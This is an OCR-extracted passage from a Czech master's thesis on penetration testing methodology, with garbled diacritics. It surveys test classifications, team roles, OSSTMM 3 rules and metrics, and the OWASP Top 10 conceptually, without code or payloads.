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Anotace

Cilem diplomové prace je zpracovat a otestovat metodiku pro penetracni testovani

z prostiredi technologickych systémii.

V teoretické Casti prace autor predstavi principy penetracniho testovani s dlirazem
na prostiedi technologickych systémi. Autor predstavi vhodné ndstroje pro

penetracni testovani se zaméienim na vyuzitelnost vhodnych frameworki.

V praktické ¢asti pak autor pripravi postupy pro vyuZiti jednotlivych vybranych
nastrojli a sady testi vCetné testovacich scénaiti a jejich vyhodnoceni. Vystupem
praktické casti pak bude ovéreni navrzenych scénaili v praxi a podrobna step-by-
step metodika pro pripravu, realizaci a vyhodnoceni penetracnich testli na zakladé

navrzenych scénai.

Annotation

Title: Principles of penetration testing for technological systems

The main goal of this thesis is to create and test a methodology for penetration

testing in the technology systems environment.

In the theoretical part of the thesis, the author introduces principles of penetration
testing with the emphasis on the technology systems environment. The author
further introduces appropriate tools for penetration testing with the focus on the

usability of suitable frameworks.

In the practical part, the author prepares procedures for the use of each selected tool
and test sets including testing scenarios and their evaluation. The output of the
practical part will be practical verification of the prepared scenarios and detailed
step-by-step methodology for preparation, implementation and evaluation of

penetration tests based on the prepared scenarios.
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1 Uvod

Informacni technologie v sou¢asné dobé ziskavaji ¢im dal vic na popularité. Jsou
a budou nezbytnym pomocnikem v pracovnim i osobnim Zivoté. MnoZstvi zarizeni
pripojenych do internetu roste kazdym dnem. Vzhledem ktomu je potreba
iinvestovat cas a finance do zabezpeceni IT infrastruktury. Organizacim v dnesni
dobé nesta¢i mit na zarizenich nainstalovany antivir a filtrovat sitovy provoz
firewallem. Vyvoj je velmi rychly a jen téZko se s nim drZi krok.

Skupina lidi, kterd se nazyva eticti hackefi, vznikla jako dusledek
vzristajiciho poctu kyberneticky ttoku. Eticky hackeri hledaji bezpecnostni rizika
v zarizenich a systémech, aniz by je zneuzili ve sviij vlastni prospéch, naopak na né
upozorni, aby mohly byt opraveny. Vytvari metodiky a scénare, jak se proti itokiim
branit.

Neustaly vyvoj modernich technologii vyZaduje vymyslet nové zplisoby, jak
utokiim predchazet. Netyka se to pouze firem, ale i domacnosti. Citliva a dilezita
data jsou prakticky vSude, at’ uz jsou uloZeny na serverech, pocitacich nebo jinych
zatizeni. KdyZz prijde na radu bezpecnost pocitacovych systémi, je dobré
neponechat nic ndhodé. Jakmile se hacker jednou dostane do systému, miizZe to byt
nezvratny proces a vraceni napachanych s$kod je ¢asové i finan¢né naroc¢né. Proto je
dobré do zabezpeceni investovat a starat se o prevenci.

Penetracni testovani slouzi ke zjiSténi bezpecnostnich slabin driv, nez je
objevi potencionalni utocnik. Vysledkem je piehled slabych a silnych mist sitové
infrastruktury. Testovani pomaha odhalit nedostatky v architekture a Spatné
konfiguraci. Stejné nebo podobné techniky by pouZil i skute¢ny hacker.

Obcas se jedna dokonce i o zdravi, jeden z téchto utokid se stal v zaii 2019,
kdy hackeri napadli technickou infrastrukturu Viktoridnské nemocnice virem
zvanym ransomware. To mélo za nasledek izolaci lokalni sité od internetu. Personal
nemocnice mél problémy se ¢tenim karet pacientli, systémem pro planovani
¢asového harmonogramu pacienti [1].

Ne kazdy si uvédomuje, Ze cilem titoku miiZe byt i soukromi a osobni data. Vlada
Spojeného kralovstvi zorganizovala v roce 2014 mezinarodni akci, pri které byla

zruSena ruska webova stranka, na které byla zverejnéna videa z riiznych webkamer



vCetné domacich chiivicek. Prevazné byl problém na strané uZivatel(i, ktefi si
nezvolili Zadné heslo nebo méli nastavené malo sloZité nebo nebyl pravidelné
aplikovan upgrade firmware kamer, ktery zahrnuje bezpecnostni zaplaty zjiSténych
zranitelnosti. Zaroven uZzivatelé meéli zapnuty vzdaleny pristup, tedy kameru

dostupnou z internetu [2].



2 Definovani penetraéniho testovani

Penetrac¢ni testovani nebo také tzv eticky hacking je zpisob testovani systému,
sité nebo webové aplikace, pri kterém se hledaji bezpe¢nostni nedostatky, kterych
miiZe hacker zneuZit. Testovani miiZe byt automatizovano nebo vykonavano rucné.
Jedna se o proces shromazdéni informaci o cili a identifikace zplisobu priiniku do
systému.

Hlavnim cilem testovani je shromazdéni bezpecnostnich slabin. Penetrac¢ni
testovani lze pouZit k testovani bezpecnostnich politik organizace, dodrZovani
téchto predpisti a schopnost organizace identifikovat a reagovat na bezpec¢nostni
hrozby. Shromazdéné informace jsou obvykle poskytovany spravciim IT organizace,
coZ jim umoZiiuje provadét strategicka opatieni [3].

Vprvnich fazich se vyuZiva sken zranitelnosti, ktery by mél odhalit
potencionalni bezpecnostni slabiny. V této fazi dochazi ke zjiSténi, jaké sluzby jsou
spustény na cilovém zarizeni, verze sluzeb, zjisténi, na jakych portech jsou sluzby
spustény, identifikace operacniho systému a tak dale. Velice ¢asto pouzivanymi
nastroji jsou Nmap, Nessus, OpenVAS, Nikto [3]. Tyto nastroje budou popsany
podrobné v dalSich kapitolach.

. Zautoceni a vstup
‘ Vyber cile ‘ 4){ do systému

L4 Y

Shromazdéni Analyza vysledkl a
informaci o cili vytvoreni zpravy
L4 ¥
Identifikace
bezpecnostnich Zameteni stop
slabin

v

Analyza informaci a
planovani Utoku

Obrazek 1 Vyvojovy diagram detailniho scénai‘e penetracniho testovani
Zdroj: Vlastni zpracovani




V dalsi fazi by tyto zranitelnosti méli byt prolomeny, protoZe se mizZe stat, Ze
sken zranitelnosti odhali bezpecnostni slabiny chybné. Penetra¢ni testovani by mél
provadét kvalifikovany expert, nékdy nazyvany jako eticky hacker. K prolomeni
bezpecnostnich slabin se pouZziva napriklad nastroj METASPLOIT framework, ktery
v sobé skryva velké mnozstvi exploitli. Vzhledem k velkému poctu uzivateld, ktefi
jej pouZivaji, nastroj je dobie zdokumentovany. Pokud probéhne vse bez komplikaci,
na konci této faze by mél mit eticky hacker pristup do systému, anizZ by si toho nékdo
vSiml.

Vysledna zprava generovana penetra¢nim testem poskytuje zpétnou vazbu
pro organizaci k naplanovani investic, které planuje investovat do bezpecnosti
aplikace. Pokud vyvojar pochopi, jak hacker pronikl do aplikace, snadnéji tuto chybu
opravi.

Zarizeni a systémy, na které se pri testovani cili, jsou rtizné. Mohou to byt

servery, sitova zarizeni, bezdratové sité, mobilni a bezdratova zarizeni.

2.1 Klasifikace penetraéniho testovani

Kazda metodika se v déleni penetracniho testovani mirné lisi, nicméné déleni lze
zjednodusit do tii skupin, a to na zakladé informaci, které hacker predem o dané siti

nebo systému zna. Skupiny jsou nasledujici.

e Blackbox - Zadné informace nejsou dostupné. Simulace ttoku zvenéi bez
jakychkoliv predchozich znalosti.

e Graybox - Pouze omezené informace jsou dostupné, napt.: prihlaSovaci
udaje do systému, IP adresa cile. Simulace utoku, kdy uto¢nik ma urcité
povédomi o siti nebo systému. Mohlo by se jednat napriklad o byvalého
zaméstnance. Jednd se o kombinaci blackbox a whitebox penetra¢niho
testovani.

e Whitebox - VSechny informace jsou dostupné, napft.: topologie sité, pristup
do sité, zdrojovy kdd aplikace. Simulace dtoku, ktery odhaluje tolik slabin

systému, jak jen je to mozné [5].



RozliSuje se, zda se uto¢nik nachazi uvniti sité nebo mimo. Tedy jestli ma
moZznost byt s pocitacem fyzicky ¢i virtudlné (napt. VPN) piipojen piimo do lokalni

sité (LAN) nebo Utoci z verejného internetu (jiné sité), jak je vysvétleno dale.

e Externi penetracni test, nejvice pouZzivany zplisob, zaméfeny na utok
zvenci, mimo lokalni sit. Testovany systém musi byt pripojen k internetu.
Typicky se jedna o Blackbox testovani. Utok je vétsinou veden na DMZ
(demilitarizovanou zo6nu). To je c¢ast sité, ktera je fyzicky ¢i virtudlné
oddélena od zbytku lokalni sité. V DMZ jsou typicky vSechna zarizeni, ktera
potiebuji byt pristupna zinternetu. VétSinou se jedna o webovy nebo
emailovy server a tak dale. Provoz mezi DMZ a zbytkem lokalni sité je
monitorovan firewallem [6].

¢ Interni penetracni test zjist'uje, k cemu maji zaméstnanci ptistup v siti a co

vSe mohou udélat. Vétsinou se jedna o whitebox nebo greybox testovani.

Existuji dvé techniky penetracniho testovani, manualni a automatizované.
V pripadé manualniho penetra¢niho testovani je proces pomaly, ale komplexni.
Pokud maji byt vysledky manudalniho testovani relevantni, testovani musi provadét
vysoce kvalifikovany specialista. V druhém pripadé je proces rychlejsi, pouzivaji se
automatizované nastroje, které jsou na spoustu bezpecnostnich slabin uz vyvinuty
a pripraveny. Jejich obsluha neni tak slozita [7].

Penetracni testovani ¢asto vyuziva principii tzv. tymového testovani. Pfi tomto
scénari jsou osoby na strané objednavajici penetracni testovani i poskytovatele
penetracniho testovani rozdéleny do nékolika skupin za ucelem dosaZeni lepSich

vysledkd.

e Cerveny tym - Tento tym se sklada z tester(, ktefi maji roli tto¢nikd a snaZi
se proniknout do systému.

e Modry tym - Sklada se ze zaméstnancl bezpecnostniho oddéleni, kteri
provozuji dany systém. SnaZzi se utok odvratit a minimalizovat Skody.

e Fialovy tym - Ve fialovém tymu jsou nezavislé osoby. Tento tym ziskava
zpétnou vazbu od obou tym a slouZi jako mezic¢lanek pro lepsi komunikaci

mezi obéma tymy. To vede zefektivnéni ¢innosti obou tymi [8].



3 Metody pristupy, postupy

Tato kapitola je vénovana popisu standardd a metodik pro penetracni testovani.
Byly vybrany cCasto pouZivané standardy, které jsou volné dostupné. Pokud
organizace planuje investice do bezpecnosti, méla by si néjakou metodiku neboli
standard vybrat. Na zakladé toho vyplyne, jakym zplisobem béhem testovani dale
postupovat. Tester, analytik se tim vyhne vymysSlenim c¢innosti, procesti a scénafre,
ktery resil uz nékdo prred nim a uSetfi si drahocenny cas.

Standardy se lisi v mnoha ohledech, nékteré popisuji detailné kroky a nastroje,
nékteré jsou naopak volnéjsi. Jsou standardy placené a open source. V mnoha
piipadech za vyvojem stoji velkd skupina dobrovolniki, ktefi se snazi vylepsit
kybernetickou bezpecnost, v tomto pripadé se jedna vétSinou o neplacené, volné

dostupné metodiky.

3.1 OSSTMM

Tato kapitola bude vychazet primarné ze zdroje [28].

OSSTMM (Open Source Security Testing Methodology Manual) je bezpe¢nostni
manudl o bezpecnostnich zkouSkach, ktery vznikl v roce 2001 a jeho autorem byl
Pete Herzog. Tento projekt spravuje institut pro bezpecnost metodiky
ISECOM (Institue for Security and Open Methodologies). Metodika je navrzena tak,
aby byla konzistentni a opakovatelna. Jedna se o open source projekt. Projekt je
nezavisly na prodejcich, vyrobcich ¢i politické c¢innosti. Byly vydany tii verze
OSSTMM, aktualni verze je OSSTMM 3, ktera vznikla v roce 2010 a ta bude v této
praci popsana.

Dodrzeni pravidel a postupt metodiky poskytuje diikladny bezpecnostni test,
oznacovany jako audit OSSTMM. Vznikly auditni zaznam musi byt podepsan
bezpecnostnim technikem nebo analytikem. Poté se zaznam posila ke kontrole do
spolec¢nosti ISECOM. Pokud zdznam splni vSechny predpoklady, miize byt audit
certifikovan. Nutnosti je vymezit, co vSe se testuje. Certifikovany audit je povazZovan
za dikaz skute¢né bezpecnosti, podava jasny obraz o testovaném systému, obsahuje
srozumitelné a jednoduse porovnatelné vysledky.

Pokud analytik provede vSe podle prirucky, vysledkem je:



Test, ktery byl proveden diikladné.

Test, ktery zahrnuje vSechny potrebné kanaly.

Test, ktery je v souladu se zakonem.

Vysledky jsou méritelné kvantifikovatelnym zptisobem.
Vysledky jsou konzistentni a opakovatelné.

Vysledky obsahuji pouze fakta odvozena ze samotnych testi.

vvvvvv

napriklad virtualizace, cloud computingu a dal$ich novych infrastruktur, probéhly

zmény v testovani. Proto ve verzi OSSTMM zahrnuje testy vSech kanall - lidskych,

fyzickych, bezdratové, telekomunikacni a datové sité. OSSTMM obsahuje informace

pro planovani projektli, kvantifikaci vysledkl a pravidla zapojeni pro provadéni

bezpectnostnich auditi. Kazdd nova verze OSSTMM prispiva k efektivnéjSimu

testovani, reaguje na aktualni trendy v IT.

Sest nejéastéjsich testii se déli dle informaci, které tester o cili zna a jaké ma

od testu oc¢ekavani.

Blind - Analytik nema o obrané cilového systému Zadné znalosti. Tento
slepy audit primarné testuje dovednosti analytika. Cil o auditu vi a zna
jeho detaily, procesy. Uédinnost tohoto testu je pfimo Umérna
dovednostem a znalostem analytika. Nékdy je tento test nazyvan také
War Gaming nebo Role Playing.

Double Blind - Analytik nema o obrané cilového systému Zadné
znalosti. Tento slepy audit primarné testuje dovednosti analytika. Cil
o auditu nevi a nezna detaily. U¢innost tohoto testu je pfimo timérna
dovednostem a znalostem analytika. Nékdy je tento test nazyvan také
Black Box test nebo Penetration test.

Gray Box - Analytik ma o obrané cilového systému omezené mnozstvi
dostupnych informaci, ma vSak vSechny informace o kanalech. Cil
o auditu vi a je na néj ptipraven. U¢innost tohoto testu je pfimo imérna
dovednostem a znalostem analytika. Casto je oznacovan jako

Vullnerability Test (test zranitelnosti).



Double Gray Box - Analytik ma o obrané cilového systému omezené
mnozstvi dostupnych informaci, zna vsSak vSechny informace
o kanalech. Cil o auditu vi, zna jeho Casovy ramec, ale ne testované
kanaly nebo testovaci vektory. Double Gray Box testuje dovednosti
analytika a pripravenost cile na nezndmé proménné. Hloubka testu
zavisi na poskytnutych informacich analytikovi a cili.

Tandem - Analytik i cil jsou pripraveni na audit, oba znaji predem
veskeré detaily auditu. Tandem testuje ochranu a kontrolu systému.
Hloubka tohoto testu zavisi na kvalité informaci poskytnutych
analytikovi pred testem, stejné jako na dovednostech analytika. Tento
test je také Casto nazyvany internim auditem nebo Crystal Box test
a analytik je ¢asto soucasti bezpecnostniho procesu.

Reversal - Analytik ma o cili vSechny informace, ale cil nema zZadné.
Zameérem testu je pripravit cil na neznamé proménné béhem utoku.

Test je mnohdy nazyvany Red Team exercise.

Rozsah definuje celkové moZné testovaci prostiedi pro jakoukoliv interakci

s aktivy, které miiZe zahrnovat i fyzické slozky bezpecnostnich opatieni. Rozsah se

déli do tri trid, ve kterych existuje pét kandld: zabezpeceni telekomunikaci

a datovych siti tfida COMSEC, kandly fyzické a lidské bezpecnosti tiidy PHYSSEC

a celé spektrum pro bezdratovy bezpecnostni kandl tridy SPECSEC. Oznacent tiid je

oficialni, pouziva ho v soucasné dobé v EU bezpecnostni priimysl, vlida a armada.

Tridy se pouzivaji k definici oblasti studia, vyzkumu. Kanaly jsou vsak specifické

prostredky interakce s aktivy. Aktivum miiZze byt cokoliv, co ma pro majitele

hodnotu.

Déleni dle kanalg,

Lidska bezpecnost - Zahrnuje lidsky prvek, kde interakce jsou fyzické nebo
psychologické. Zaméruje se na hodnoceni udrovné informovanosti
a bezpelnosti personalu a ucinnosti Skoleni o bezpelnosti organizace.

Nejcastéji se jedna o socialni inZenyrstvi.



o Fyzicka bezpecnost - Testovani fyzické bezpecnosti, kanal je fyzické
i neelektronické povahy. Interakce vyZaduji fyzickou namahu, tim je mysleno
rizeni pristupu, bezpecnostni procesy a fyzicka umisténi, jako jsou budovy,
mistnosti atd.

¢ Bezdratova komunikace - Obsahuje veskerou elektronickou komunikaci,
signaly. Do bezdratové komunikace spadaji riizné formy bezdratovych siti,
které lze zachytit ¢i prerusit, v€etné Wi-Fi, RFID atd.

e Telekomunika¢ni - Zahrnuje vSechny telekomunikac¢ni sité, at' to jsou
digitalni nebo analogové, kde dochazi k interakci telefonické nebo sitové
linky (VolP, PBX a hlasové schranky).

e Datové sité - Tento kanal obsahuje vSechny elektronické systémy a datové
sité, kde dochazi k interakci pres kabel nebo sitové linky. Tento kanal se

zameéiuje na zabezpeceni pocitact a sité.

Metodika urcuje pravidla, kterd jsou nutna dodrZet béhem marketingu, prodeji,
provadéni testovani a zpracovani vysledkii. Pravidla jsou rozdélena do nékolika
kategorii.

Prodej a marketing

e PouZiti strachu, nejistoty, pochybnosti nesmi byt pouZito pfi prodeji nebo
v marketingovych materialech.

e Je zakazano nabizeni bezplatnych sluZeb za neproniknuti do systému.

e Verejny cracking, hacking nebo protipravni soutéze na podporu zabezpeceni
prodeje nebo bezpecnostnich produkti jsou zakazany.

¢ Jmenovat minulé nebo soucasné klienty béhem marketingové kampané je
zakazané, pokud k tomu nedali pisemny souhlas nebo prace pro klienta je
stejna.

¢ Klienti musi byt pravdivé informovani o bezpecnostnim opatreni.
Posouzeni a odhad

e Provadéni bezpecnostnich testli bez pisemného souhlasu od vlastnika nebo

povérené osoby cilového systému je zakazané.



e Testovani bezpecnosti vysoce nestabilnich systémi a procest je zakazano,

dokud neni zavedena fungujici, stabilni bezpec¢nostni infrastruktura.
Smlouvy a jednani

e Analytik je povinen zajistit dGvérnost a nezvefejnéni informaci
o zakaznikovi, at' uz je ¢i neni podepsana smlouva o mlcenlivosti.

¢ Smlouva by méla vymezit ndklady na praci.

¢ Smlouva musi jasné urcit limity a nebezpeci bezpe¢nostni zkousky.

¢ Smlouva musi obsahovat I[P adresu nebo telefonni ¢islo analytika v pripadé
vzdaleného testovani.

e Klient poskytne pisemné prohlaseni, které dovoluje analytikim penetracni
testy ve vymezeném rozsahu.

¢ Smlouva musi obsahovat nouzova kontaktni jména a telefonni Cisla a popis

postupu pro budouci zmény ve smlouvé.
Obecna pravidla

e Analytici jsou povinni znat své nastroje, odkud nastroje pochazeji, jak tyto
nastroje funguji a nesmeéji je testovat v redlném provozu.

e Zkousky tykajici se osob mohou byt provadény pouze na téch, ktefi jsou
predem urcCeni ve smlouvé. Nelze testovat soukromé osoby zdkazniky,
partnery nebo pridruZené spolecnosti.

e Analytik nesmi systém nechat zabezpecen méné, nez byl pred testem.

e Vysledky musi zlistat objektivni, nesmi byt ovlivnéné.

e Pokud jsou ve zpravé uvedena feSeni a doporuceni, musi byt mozZné
doporuceni prakticky vykonat.

e Zprava musi obsahovat Uspésna i nelisp€Sna bezpecnostni opatieni.

Je obtiZné projit vSe a na nic nezapomenout, proto cely proces testovani metodika

déli do sedmi fazi.

1. Vymezeni, co je nutné chranit, objekty se znaci aktiva.
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2. Zmapovani prostiedi, procest, sluZeb kolem aktiv, témto procestim fikame
interakce.

3. Urcenirozsahu testovani.

4. Definice, jaké interakce probihaji a v jakém rozsahu. Vymezeni testovacich
vektori. Testovani oddéleni A azZ oddéleni B, tomu se rika testovaci vektory.
Videalnim pripadé by mél byt kazdy vektor samostatnou zkousSkou.

5. Identifikace zdrojti, které budou pro kazdy test potieba. Uvnitt kazdého
vektoru se mohou vyskytnout interakce na riiznych tirovnich. Urovné mohou
byt klasifikovany mnoha zptlisoby, nicméné metodika je déli podle funkci jako
pét kanala: lidské, fyzické, bezdratové a telekomunikace a datové sité. Kazdy
kanal musi byt testovan samostatné.

6. Nutnostije urcit, které informace lze z testu ziskat. JestliZe je testovana pouze
interakce s aktivy nebo i reakce bezpecnostnich opatreni. Pro kazdy test se
voli typ zkousky (Blind, Double Blind, Gray Box atd.).

7. Organizace, kterd penetrani testovani provadi, se musi ujistit, Ze test je

v souladu s platnymi pravidly a smérnicemi.

Metodologie v uvodu predstavuje celkovou filozofii testovani, vymezuje
a definuje pojmy z oblasti bezpec¢nosti, bezpecnostniho auditu a penetrac¢niho
testovani a je nastinén mozny scénar vlastniho testovani. Metodika chape jednotlivé
prvky infrastruktury a hrozby jako urcité interakce. ZvySenim miry zabezpeceni je
myslen lepsi prehled o systému a zlepSeni kontrolnich mechanismi interakci.
OSSTMM definuje nékolik novych pojmi, které jsou nutné k pochopeni celého

soukoli.

e smér interakce (vector),

e kontrolni mechanismus, povolujici ¢i zakazujici interakce (control),

e smér, kterym byl vedeny utok - napft. Skodliva ptiloha v e-mailu (attack
vector),

e castvektoru, kde selhavaji kontrolni mechanismy (attack surface),

e omezeni funk¢nosti kontrolnich mechanismi (limitation),
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e dokonald rovnovdha mezi bezpecCnosti a kontrolnimi mechanismy

(perfect security).

Metodika se dale zaobira tim, jaky by mél byt vystup testu. Vystupem by mél
byt popis ¢asti vektord, kde selhavaji kontrolni mechanismy. OSSTM déli urovné
interakce do péti kanal{, jak jiz bylo popsano vyse. Nespecializuje se pouze na oblast
pocitacovych siti.

Dalsi kapitoly obsahuji popis celého Zivotniho cyklu penetra¢niho testovani,
rady testerovi, jak své sluzby nabizet a za jakych podminek. Tyto rady a tipy byly
popsany vyse. Dale je vysvétleno, co vSe by méla obsahovat vysledna zprava.

Nasledujici kapitola je rozdélena do sedmnacti podkapitol. Prvni podkapitoly
se soustredi na identifikaci cil@, které mohou byt béhem testu ohroZeny. Nasledujici
podkapitoly se vénuji priibéhu samotného testovani a dale se vénuji kontrolnim
poplasnym systémiim (IDS) nebo tomu, jakym zplisobem funguje samotna ochrana
dat.

Zpracovani vysledkii podle OSSTM

Vysledky testli se zpracovavaji do RAV tabulky, RAV je zkratka z Risk
Assessment Value. RAV predstavuje metriku zranitelnosti. Metrika zranitelnosti
popisuje stav, vjakém je zabezpeceni sitové infrastruktury viici potencionalnim
hrozbadm. Je to méritelnd c¢iselnd hodnota. Hodnota 100 RAV je povaZovana za
perfektni zabezpeceni. Hodnota RAV nad 100 znaci systém, ktery je uz dostatecné
zabezpecen a neni potieba utracet vice penéz a energie do zabezpeceni. Hodnota
RAV pod 100 je stav, kdy v siti existuji hrozby, které je tfreba analyzovat a eliminovat.
NiZe je ukazka metriky zranitelnosti, ktera je dostupna na oficialnich strankach.

Vstupy do metriky zranitelnosti jsou nasledujici: viditelnost (visibility),
pristup (access) a diivéra (trust). Pojem viditelnost vymezuje pocet cili
v infrastrukture, které spadaji do rozsahu testu. Hodnota parametru pristup
predstavuje Ciselnou hodnotu, ktera pocitad zavislosti na Urovni interakce (napf.
pocet otevienych portli na pocitacovych systémech). Vstup dlvéra predstavuje
pocet vztahll divéry mezi jednotlivymi cili v rozsahu testu. Vztahem divéry je

myslena situace, kdy jeden cil svoli k interakci s jinym.
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Aftack Surface Security Metrics

OSSTMM version 3.0

Visibility
Access
Trust

CONTROLS True Controls
Class A Missing
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OPSEC
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Full Controls
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True Coverage A

(o o 0 0 @
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o

Class B Mis:
Non-Repudiation
Confidentility

Privacy

Inte grity

Alarm

Total Class B

Total True Coverage

(o o 0 0o

sing
]
o
]
]
]
o

All Controls Total ]
Whole Coverage

LIMITATIONS Item Value Limitations
Vulnerabilities ] 0,000000
‘Weaknesses L] 0,000000
Concerns o 0,000000 Security A
Exposures o 0,000000
Anomailies o 0,000000
o

True Protection
100,00

Total # Limitations

Actual Security: 100 ravs

Obrazek 2 OSSTM RAV Metrika
Zdroj: [36]

NiZe je ukdzka casti vysledného reportu. Pokud je testovani provedeno
v souladu s pravidly, analytik si mlZe spravnost svého postupu nechat provérit
pfimo u spole¢nosti ISECOM zaslanim reportu a ten nasledné nechat certifikovat.
S tvorbou vysledného reportu je spojena zkratka STAR, ktera vychazi z poc¢atec¢nich

pismen security test audit and reporting.
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Report ID

Lead Auditor

Security Test Audit Report

OSSTMM 3.0 Security Verification Certification

Date

Test Date Duration

Scope and Index Vectors
Channels Test Type
SIGNATURE COMPANY STAMP/SEAL
OPST Cettification # OPSA Certification #
OPERATIONAL SECURITY VALUES CONTROLS VALUES
Visibility Authentication
Access ndemnification
Trust Resilience
Subjugation

LIMITATIONS VALUES

Continuity

Vulnerability lon-Repudiation
Weakness Confidentiality
Concern Privacy

Exposure ntegrity

Anomaly Alarm

OpSec True Controls
Limitations Security A
True Actual
Protection Security

Obrazek 3 OSSTM Audit Report
Zdroj: [36]

3.2 OWASP (Open Web Application Security Project)

OWASP framework je vyuZivany k vyvoji bezpecnych aplikaci, zjednodusuje
samotny proces vyvoje, kdy udava stéZejni kroky. Za jeho zrodem stal Mark Crphey
a Dennis Groves vroce 2001. OWASP je neziskova organizace, zamétujici se na
kybernetickou bezpectnost. Témér vSichni pracovnici OWASP jsou dobrovolnici,
vCetné spravni rady. Organizace vytvari velké mnoZstvi prirucek a metodik
testujicich bezpecnost. Tyto materialy pouzivaji architekti, vyvojari, analytici a
védci. Spole¢nost nedavno vydala i metodiku OWASP Mobile Security Testing Guide,

ktera se zaméruje na mobilni zarizeni. VSechny metodiky, prirucky, prezentace jsou
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pod open source licenci, tedy volné dostupnou vSem, ktefi maji zajem. Testeti maji
moZznost trénovat na nezabezpecenych, bezpecnostné déravych aplikacich (OWASP
WebGoat).

OWASP Testing Guide je rozdélen do ti‘f hlavnich ¢asti. Uvodni faze se zabyva
predpoklady pro testovani webovych aplikaci a také rozsahem testovani. Druha faze
predstavuje OWASP framework a jeho techniky, metody v jednotlivych
fazich pribéhu celého zivotniho cyklu vyvoje aplikace. Treti faze popisuje, jaké
zranitelnosti jsou testovany pomoci kontroly kédu a penetra¢niho testovani.

Kategorie penetracniho testovani dle OWASP se déli podle toho, co a jak
organizace chce testovat. Jsou zde tii zakladni kategorie. Black box, analytik nema
zadné informace, pouze rozsah IP adres, zdrojovy kéd webové stranky také nema
dostupny. Toto je velmi béZny scénar, kdy je simulovan tutok zvenci. White box,
analytik ma skoro vSechny dostupné informace (verze aplikace, operacni systém
atd.), v tomto piipadé ma dostupny i zdrojovy kéd webové stranky. Tento scénar je
béZny pro interni penetracni testy, kdy organizace se zaméfuje na mozny unik
informaci. Gray box je kombinaci predeslych testi, analytik ma napiiklad k dispozici
nazev aplikace, ktera bézi na pozadi a IP adresu. Ale uz nezna konkrétni verzi,
databazi atd [30].

Spolec¢nost pracuje na velkém mnozstvi projektt, velmi diilezitym projektem
je OWASP Top 10, ktery popisuje deset nejvyznamnéjsich zranitelnosti webovych
aplikaci. Na tento projekt se odkazuje mnoho norem, knih a organizaci. Obeznamuje
vyvojare, navrhare nebo architekty s tim, jakym zpiisobem se proti utokiim branit.
Vyvojari se tak mohou poucit z chyb ostatnich a nedélat ty samé. Pro nékoho, kdo
nemda mnoho zkuSenosti a povédomi o zabezpeceni webové aplikace, mize byt
dobrym pomocnikem na zacatek.

Nasledujici diagram zobrazuje cesty skrz aplikaci, které tto¢nik mize najit.
Stejné tak vlastni dtok mize a nemusi mit néjaky dopad na organizaci. Kazda
z téchto cest predstavuje bezpecnostni riziko a stoji pak za zvaZzeni, jak zavazné pro
informuje o moZnych nasledcich. Kazda organizace je unikatni, v nékterych nejsou
pro danou aplikaci plivodci hrozby, ktefi by utok podnikli. Nasledujici zbytek
kapitoly bude vychazet primarné z metodické prirucky, zdroj [33].
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OWASP podporuje organizace ve vyvoji, nakupu a udrzbé bezpec¢nych aplikaci.

Nabizi vSem bezplatné a oteviené:

e bezpecnostni nastroje a standardy,

e kompletni knihy o testovani bezpecnosti aplikaci, vyvoji,

e popis bezpecného kédu a bezpecnostni revizi kodu,

¢ standardy bezpecnostnich kontrol a knihoven,

e mistni poboCky po celém svété,

e Spickovy vyzkum,

e rozsahlé konference po celém svéte,

e e-mailové konference.

OWASP Top 10 bezpecnostnich rizik aplikaci:

1. Injektovani - Ke zranitelnosti dochazi, kdyz se jako soucast prikazu nebo

dotazu vlozi do aplikace nebezpecny kdéd. Diky tomu uto¢nik miize

neopravnéné pristupovat

k datim,

upravovat nebo mazat polozky

v databazi. Na viné je nedostatec¢na kontrola vstupnich dat aplikace.

2. Chybna autentizace a sprava relace - Funkce, které se vztahuji

k autentizaci nebo spravé relace, jsou Spatné implementovany. Diky tomu

uto¢nik mize kompromitovat hesla, klice, tokeny a zneuZit jiné slabiny

k prevzeti identity jiného uZivatele.
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Cross-Site-Scripting (XSS) - Jedna se o velmi ¢astou hrozbu, kdy hacker do
Spatné zabezpecené webové stranky vlozi svij vlastni modifikovany kod,
ktery je nasledné interpretovan jako HTML. Ochranou je nedivéryhodna
data ovérit, pripadné escapovat. XSS uto¢nikovi umozni spoustét skripty
v prohliZeci obéti.

Nezabezpeceny primy odkaz na objekt - Pokud vyvojar vytvoii odkaz na
vnitini objekt implementace, jedna se o primy odkaz. Tento primy odkaz je
nutné kontrolovat rizenim pristupu nebo jiné ochrany, jinak toho utocnik
muze zneuZzit a manipulovat s odkazy.

Nezabezpecena Kkonfigurace - Zabezpelend Kkonfigurace vyZaduje
nasazené bezpecné nastaveni aplikace, frameworkli, webového serveru,
databazového serveru a platformy. Vychozi hodnoty zabezpeceni jsou ¢asto
riskantni, nedostatecné. Diilezité je software pravidelné aktualizovat.
Expozice citlivych dat - Velké mnoZstvi webovych aplikaci nedostatecné
chrani citlivd data klientdi, jedna se napriklad o kreditni karty, autoriza¢ni
tidaje atd. Uto¢nik pak miZe tyto data modifikovat & krast, aby mohl
provadét podvody s kreditnimi kartami, kradeZe identity nebo jiné.

Chyby v Fizeni urovni pristupu - VétSina webovych aplikaci ovétuje
pristupova opravnéni jeSté pred tim, neZ je funkcionalita viditelna
v uzivatelském rozhrani. Nicméné je nutné, aby se pri pristupu ke kazdé
funkci provadéla kontrola pristupu na server.

Cross-Site-Request Forgery (CSRF) - CSRF je chyba zabezpeceni webu,
ktera uto¢nikovi umoziuje primét uZivatele k provadéni akci, které nemaiji
v amyslu. Pri uspéSném utoku CSRF prinuti utocnik obét™ k provedeni
operace, kterou by obét sama neudélala. Mize to byt naptiklad zména e-
mailové adresy na uctu, zména hesla nebo provedeni prevodu prostredki. V
zavislosti na povaze uUtoku mize utocnik ziskat plnou kontrolu nad
uzivatelskym uctem.

Pouziti znamych zranitelnych komponent - Komponenty jako jsou
knihovny, frameworky a dalSi moduly béZi vétSinou s nejvysSim opravnénim.

Pokud by uto¢nik néjakou z nich ovladl, velmi mu to zjednodusi praci.
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10.NeoSetiené presmérovani a predavani - Webové stranky uzivatele casto
presmérovavaji na jiné, pouzivaji k uréeni cilové stranky nediivéryhodné
udaje. Tato presmérovani je nutné oSetrit, jinak by uto¢nik obét mohl

presmérovat na physingovou nebo malwarovou stranku [33].

Nyni budou bezpecnostni rizika detailnéji rozebrana, v€etné informaci ohledné

sloZitosti utoku, rozsiritelnosti, zjistitelnosti a dopadu.

Injektovani

PUvodci hrozby Vektor ttoku Bezpecnostni slabina Technické dopady

Kdokoliv, kdo muze Velmi snadno Rozsiteni je bézné, Injektovani mlze

posilat neddvéryhodnd  zneuZitelné. Utoénik zjistitelnost primérna.  zpUsobit ztratu integrity,

